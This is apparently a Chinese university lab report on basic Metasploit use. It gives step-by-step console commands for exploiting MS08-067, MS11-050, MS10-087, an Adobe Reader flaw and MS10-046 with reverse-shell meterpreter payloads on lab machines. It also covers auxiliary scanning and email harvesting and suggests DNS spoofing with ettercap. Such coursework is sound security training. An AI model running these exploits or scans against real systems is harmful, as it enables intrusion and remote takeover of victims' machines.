2017-2018-2 20155303『網絡對抗技術』Exp5:MSF基礎應用

2017-2018-2 20155303『網絡對抗技術』Exp5:MSF基礎應用

————————CONTENTS————————


一.原理與實踐說明

1.實踐內容

本實踐目標是掌握metasploit的基本應用方式,重點經常使用的三種攻擊方式的思路。具體須要完成:html

  • 一個主動攻擊實踐,如ms08-067; (1分)shell

  • 一個針對瀏覽器的攻擊,如ms11-050;(1分)windows

  • 一個針對客戶端的攻擊,如Adobe;(1分)api

  • 成功應用任何一個輔助模塊。(0.5分)瀏覽器

以上四個小實踐可不限於以上示例,並要求至少有一個是和其餘全部同窗不同的,不然扣除0.5分。安全

2.預備知識

1、MSF的六種模塊

  • Exploit模塊
    • 是利用發現的安全漏洞或配置弱點對遠程目標系統進行攻擊,以植入和運行攻擊載荷,從而得到對遠程目標系統訪問權的代碼組件。
    • 形象點來講就是攻擊模塊
  • Payload模塊
    • 是在滲透成功後促使目標系統運行的一端植入代碼,一般做用是爲滲透攻擊者打開在目標系統上的控制會話鏈接。實際上,該模塊就是計算機集成的針對不一樣操做系統實現shellcode攻擊的ruby代碼。
  • Encoder模塊
    • 針對payload進行編碼,能夠經過多種編碼手段、屢次編碼方式有效的改變payload代碼特徵
    • 不改變payload做用,但能對payload進行加工
  • Aux模塊
    • 可以幫助滲透測試中在進行滲透攻擊以前獲得的目標系統豐富的情報信息,從而發起更具目標性的精準攻擊。
    • 主要包括針對各類網絡服務的掃描和查點、構建虛假服務收集登陸密碼、口令猜想破解、敏感信息嗅探、探查敏感信息泄露、Fuzz測試發掘漏洞、實施網絡協議欺騙等模塊。
  • Post模塊
    • 支持在滲透攻擊取得目標系統遠程控制權以後,在受控系統中進行給各樣的後滲透攻擊動做。
    • 這裏主要指的是攻擊以後可能用到的模塊
  • Nops模塊
    • 是一些對程序運行狀態不會形成任何實質影響的空操做或無關操做指令,最典型的空指令就是空操做,在X86 CPU體系架構平臺上的操做碼是0x90
    • 由於有些代碼返回地址很難確認,因此在實際中有時候會填充一大段空指令,便於快速肯定返回地址的位置

2、MSF經常使用漏洞利用命令

  • search name:用指定關鍵字搜索能夠利用的漏洞模塊
  • use exploit name:使用漏洞
  • show options:顯示配置選項
  • set option name option:設置選項
  • show payloads:回鏈攻擊載荷
  • show targets 顯示目標(os版本)
  • set TARGET target number:設置目標版本
  • exploit:開始漏洞攻擊
  • sessions -l:列出會話
  • sessions -i id:選擇會話
  • sessions -k id:結束會話
  • Ctrl+z:把會話放到後臺
  • Ctrl+c:結束會話
  • show auxiliary:顯示輔助模塊
  • use auxiliary name :使用輔助模塊
  • set option name option:設置選項
  • exploit:運行模塊

3.基礎問題

  • 問:用本身的話解釋什麼是exploit,payload,encode
    • exploit:測試者利用系統,程序,或服務的漏洞進行攻擊的一個過程。
    • payload:攻擊者在目標系統上執行的一段攻擊代碼,該代碼具備返彈鏈接,建立用戶,執行其餘系統命令的功能。
    • encodeencode編碼一是爲了不使攻擊載荷不能完整運行的「壞字符」,二是爲了改變特徵碼,幫助攻擊載荷避免被殺軟發現。

返回目錄ruby


二.實踐過程記錄

1.Windows服務滲透攻擊——MS08-067安全漏洞

①攻擊機:kali ②靶機:windows XP SP3(English)服務器

在攻擊機kali輸入msfconsole進入控制檯,依次輸入如下指令:網絡

  • msf > use exploit/windows/smb/ms08_067_netapi
  • msf exploit(ms08_067_netapi) > show payloads
  • msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回連
  • msf exploit(ms08_067_netapi) > set LHOST 192.168.130.130 //攻擊機ip
  • msf exploit(ms08_067_netapi) > set LPORT 5303 //攻擊端口
  • msf exploit(ms08_067_netapi) > set RHOST 192.168.130.133 //靶機ip,特定漏洞端口已經固定
  • msf exploit(ms08_067_netapi) > set target 0 //自動選擇目標系統類型,匹配度較高
  • msf exploit(ms08_067_netapi) > exploit //攻擊

創建會話,攻擊成功結果以下:session

返回目錄

2.瀏覽器滲透攻擊——MS11-050

①攻擊機:kali ②靶機:WindowsXP Professional sp2/Windows7專業版 ③IE版本:7.0/8.0

在攻擊機kali輸入msfconsole進入控制檯,依次輸入如下指令:

  • msf > use windows/browser/ms11_050_mshtml_cobjectelement
  • msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回連
  • msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.130.130 //攻擊機ip
  • msf exploit(ms11_050_cobjectelement) > set LPORT 5303 //攻擊端口固定
  • msf exploit(ms11_050_cobjectelement) > set URIPATH 2015dwj //統一資源標識符路徑設置
  • msf exploit(ms11_050_cobjectelement) > exploit

在瀏覽器輸入http://192.168.130.130:8080/2015dwj,IE出現彈窗,警告遇到問題需關閉程序:

此時攻擊機正在嘗試創建會話,但靶機已經禁止訪問了該網頁。失敗。

第二次在IE中訪問特定URI,此次回車剛一敲下去,連界面都尚未彈出來,又被kill了:

嚴肅地思考:是否是瀏覽器或者靶機系統的問題?看看還有哪些系統或軟件會存在這個漏洞吧:

因而嘗試了winXP/win7和IE7.0/IE8.0等等排列組合,費盡周折配置好了幾種環境,但是仍是失敗了。

去網上搜各類『ie已經爲了幫助保護您的計算機而關閉此網頁-百度經驗』、『使用ie8 提示Internet Explorer 已經爲了幫助保護您的計算機而關閉此網頁,怎麼解決』、『Win7系統下IE瀏覽器提示「IE爲了保護計算機而關閉網頁」的問題分析及解決方法』等等等等解決方案,根據前人的經驗教訓總結出了:應該修改Internet的安全設置!

在IE瀏覽器打開「工具->Internet選項」,選擇「安全」選項卡,將設置裏面最不安全的所有選上,自定義也設置爲最低等級——「中」:

除此以外,選擇「高級」選項卡,選中「容許運行或安裝軟件,即便籤名無效」:

總之,想盡一切方法下降IE瀏覽器的警戒性,讓它老老實實地中咱們的圈套!

但是仍是失敗了..且緣由至今未知(ಥ_ಥ)

返回目錄

3.針對Office軟件的滲透攻擊——MS10-087

①攻擊機:kali ②靶機:windowsXP Professional sp2 ③Office版本:2003

在攻擊機kali輸入msfconsole進入控制檯,依次輸入如下指令:

  • msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
  • msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set payload windows/exec //運行一個可執行文件
  • msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set CMD calc.exe //綁定計算器程序,進行啓動
  • msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit //攻擊

使用show options命令查看一些參數值,好比文件名、綁定程序等等。此時文件名爲默認,也能夠進行修改。

將生成的文件從/root/.msf4/local/msf.rft拷貝到靶機上,並使用Office2003打開。無論第幾回打開,都會提示錯誤:

雙擊運行的同時,因爲綁定到計算器,所以打開了計算器程序,攻擊成功:

返回目錄

4.針對Adobe Reader軟件的滲透攻擊——adobe_toolbutton

①攻擊機:kali ②靶機:windowsXP Professional sp2 ③Adobe版本:9.3

在攻擊機kali輸入msfconsole進入控制檯,依次輸入如下指令:

  • msf > use windows/fileformat/adobe_cooltype_sing
  • msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回連
  • msf exploit(adobe_cooltype_sing) > set LHOST 192.168.130.130 //攻擊機ip
  • msf exploit(adobe_cooltype_sing) > set LPORT 5303 //攻擊端口
  • msf exploit(adobe_cooltype_sing) > set FILENAME 20155303-2.pdf //設置生成pdf文件的名字
  • msf exploit(adobe_cooltype_sing) > exploit //攻擊

生成的pdf以下圖所示:

將生成的pdf文件拷貝到靶機上。

在kali上輸入back退出當前模塊,進入監聽模塊,輸入如下命令:

  • msf > use exploit/multi/handler //進入監聽模塊
  • msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向鏈接
  • msf exploit(handler) > set LHOST 192.168.130.130 //攻擊機ip
  • msf exploit(handler) > set LPORT 5303 //攻擊端口固定
  • msf exploit(handler) > exploit

在靶機上打開20155303-2.pdf文件:

攻擊機顯示攻擊成功:

此時若關閉pdf文件,則失去權限,攻擊失敗:

返回目錄

5.快捷方式圖標漏洞——MS10-046

①攻擊機:kali ②靶機:windowsXP Professional sp2

在攻擊機kali輸入msfconsole進入控制檯,依次輸入如下指令:

  • msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
  • msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 192.168.130.130 //攻擊機ip
  • msf exploit(ms10_046_shortcut_icon_dllloader) > set payload windows/meterpreter/reverse_tcp //tcp反向回連
  • msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 192.168.130.130 //攻擊機ip
  • msf exploit(ms10_046_shortcut_icon_dllloader) > exploit //攻擊

這樣一來,靶機只要在瀏覽器訪問192.168.130.130:80,就中了攻擊者的圈套:

點擊「容許」,會彈出一個攻擊者IP的目錄,其中有一個「快捷方式」的圖標:

此時攻擊機正在悄悄地鏈接靶機,試圖創建會話:

靶機雙擊快捷方式,攻擊機方顯示成功創建會話。使用sessions -i 1選擇會話:

嘗試輸入shell命令,攻擊成功:

若是靶機關閉網頁,攻擊機仍可控制並攻擊靶機:

一點小小的思考:讓靶機輸入攻擊機的IP地址仍是有很大的侷限性。若是能將DNS欺騙與之相結合,那攻擊就會更加主動。在這裏能夠用ettercap,修改etter.dns配置文件爲*.cn A 192.168.130.130。這樣一來,只要受害者訪問*.cn域名的時候,就會強行被欺騙成192.168.130.130:80,從而就更加容易達到攻擊者的目的啦~

返回目錄

6.Metasploit之——信息收集模塊

1、掃描端口

  1. msf > use auxiliary/scanner/portscan/syn(使用portscan模塊)
  2. msf auxiliary(syn) > show options
  3. msf auxiliary(syn) > set RHOSTS 192.168.130.130(目標)
  4. msf auxiliary(syn) > set THREADS 50(線程)
  5. msf auxiliary(syn) > exploit

2、ssh服務器掃描

  1. msf > use auxiliary/scanner/ssh/ssh_version (使用ssh_version模塊)
  2. msf auxiliary(ssh_version) > show options (查看選項)
  3. msf auxiliary(ssh_version) > set RHOSTS 10.107.100.0/24(目標網段)
  4. msf auxiliary(ssh_version) > set THREADS 50(線程)
  5. msf auxiliary(ssh_version) > exploit (開始)

3、telnet服務器掃描

  1. msf > use auxiliary/scanner/telnet/telnet_version (使用telnet_version模塊)
  2. msf auxiliary(telnet_version) > show options (查看選項)
  3. msf auxiliary(telnet_version) > set RHOSTS 10.180.100.0/24(目標網段)
  4. msf auxiliary(telnet_version) > set THREADS 50(線程)
  5. msf auxiliary(telnet_version) > exploit (開始)

4、搜索網站中的Email地址

  1. msf > use auxiliary/gather/search_email_collector (使用search_email_collector模塊)
  2. msf auxiliary(search_email_collector) > show options (查看選項)
  3. msf auxiliary(search_email_collector) > set DOMAIN baidu.com(掃描目標)
  4. msf auxiliary(search_email_collector) > exploit (開始)

5、掃描局域網有多少主機存活

  1. msf > use auxiliary/scanner/discovery/arp_sweep (使用discovery/arp_sweep模塊)
  2. msf auxiliary(arp_sweep) > show options (查看選項)
  3. msf auxiliary(arp_sweep) > set RHOSTS 10.180.100.0/24(目標網段)
  4. msf auxiliary(arp_sweep) > set THREADS 50(線程)
  5. msf auxiliary(arp_sweep) > exploit (開始)

如下爲對所在局域網進行掃描後的結果:

返回目錄


三.實踐總結及體會

  • 本次實驗操做起來很是簡單,邏輯也很清晰,絕大多數的時間花費在了配置環境上。從windowsXP Professional sp2到windows XP SP3(English),從IE 6.0到IE 7.0/8.0,Adobe Reader11到9,Office2010到2003,着實感覺到了配置環境的艱辛,也體會到了metasploit攻擊漏洞的專注性,對操做系統和軟件版本都有細緻的要求。必需要在特定環境和特定觸發條件下才能成功。我想這也是與實踐的差距之一吧。
  • 整體來講實驗過程仍是比較順利,除了利用經典的這些漏洞外,還了解到了一些其餘方法,好比本身寫代碼放入模塊中,一樣能夠有針對性地實現攻擊。在微軟安全技術中心有不少最新公佈的漏洞,均可以做爲實踐的素材。

返回目錄


附:參考資料

相關文章
相關標籤/搜索